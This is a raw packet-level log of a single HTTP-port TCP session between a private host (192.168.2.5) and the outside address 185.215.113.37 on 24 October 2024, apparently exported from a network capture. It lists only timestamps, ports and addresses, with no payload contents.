Oct 24, 2024 04:57:19.589560986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.589569092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.589595079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.589612961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.589628935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.589643955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.589663982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.589682102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.589696884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.589699984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.589731932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.589749098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.589768887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.589787006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.589822054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.589863062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.589912891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.589920998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.589970112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.589978933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.590027094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.590032101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.590082884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.590086937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.590121031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.590137005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.590157032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.590172052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.590190887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.590204954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.590226889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.590238094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.590260983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.590276957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.590300083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.590312958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.590396881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.590406895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.590430975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.590445995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.590481997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.593216896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.593271017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.593288898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.593310118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.593324900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.593346119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.593360901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.593383074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.593405962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.593415976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.593432903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.593452930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.593475103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.593492985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.593497992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.593543053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.665900946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.665955067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.665997028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.666095972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.666096926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.666096926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.707292080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.707518101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.707586050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.707626104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.707664967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.707701921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.707736969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.707771063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.707784891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.707784891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.707784891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.707784891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.707784891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.707822084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.707824945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.707860947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.707895041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.707928896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.707964897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.708002090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.708035946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.708064079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.708064079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.708064079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.708064079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.708064079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.708064079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.708070993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.708102942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.708112955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.708192110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.708240986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.708247900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.708286047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.708292007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.708321095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.708331108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.708355904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.708364010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.708391905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.708401918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.708422899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.708436012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.708457947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.708466053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.708492994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.708502054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.708527088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.708535910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.708573103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.708581924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.708617926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.708626032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.708661079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.708672047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.708707094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.708717108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.708741903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.708751917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.708776951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.708786964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.708811998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.708822966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.708848000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.708854914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.708882093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.708889961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.708916903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.708926916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.708955050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.708959103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.708990097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.708997965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.709026098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.709038019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.709062099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.709070921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.709100962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.709115982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.709160089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.709170103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.709206104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.709214926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.709239960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.709249973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.709275007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.709285021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.709310055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.709321022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.709346056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.709355116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.709379911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.709388971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.709414005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.709424973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.709448099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.709460020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.709485054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.709491968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.709527016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.709539890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.709579945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.709584951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.709614992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.709628105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.709650993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.709661007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.709686041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.709693909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.709722042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.709731102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.709753990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.709764957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.709789038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.709795952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.709824085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.709841967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.709860086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.709868908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.709908009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.712269068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.712316036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.712336063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.712368011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.712376118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.712413073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.712419987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.712447882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.712459087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.712483883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.712491989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.712518930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.712528944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.712554932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.712564945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.712584972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.712599039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.712620020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.712626934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.712655067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.712661028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.712692976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.712698936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.712737083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.784737110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.784841061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.784873962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.784909964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.784982920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.784982920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.784982920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.784984112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.826457977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.826534033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.826591969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.826628923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.826664925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.826664925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.826664925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.826683998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.826704025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.826720953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.826730013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.826754093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.826775074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.826811075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.826841116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.826875925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.826910973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.826937914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.826937914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.826937914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.826937914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.826966047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.826973915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.827019930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.827052116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.827097893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.827109098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.827145100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.827152967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.827188015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.827198982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.827234983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.827244043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.827279091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.827286959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.827338934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.827348948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.827385902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.827394962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.827420950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.827430964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.827455997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.827466011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.827496052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.827498913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.827533007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.827541113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.827578068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.827586889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.827634096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.827640057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.827682972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.827693939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.827728987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.827744961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.827764034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.827770948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.827796936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.827817917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.827831984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.827835083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.827866077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.827877045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.827903032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.827907085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.827933073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.827949047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.827969074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.827980995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.828010082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.828012943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.828042030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.828057051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.828074932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.828083992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.828119993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.828135014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.828176975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.828186035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.828221083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.828229904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.828255892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.828262091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.828290939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.828300953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.828324080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.828335047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.828360081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.828367949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.828392982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.828403950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.828428030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.828435898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.828461885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.828480005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.828497887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.828522921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.828531981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.828567028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.828567028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.828567028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.828602076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.828612089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.828641891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.828646898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.828670979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:19.828686953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.828715086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.874334097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:19.880182981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.159287930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.159320116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.159338951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.159353018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.159377098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.159406900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.159420967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:20.159436941 CEST	80	49704	185.215.113.37	192.168.2.5
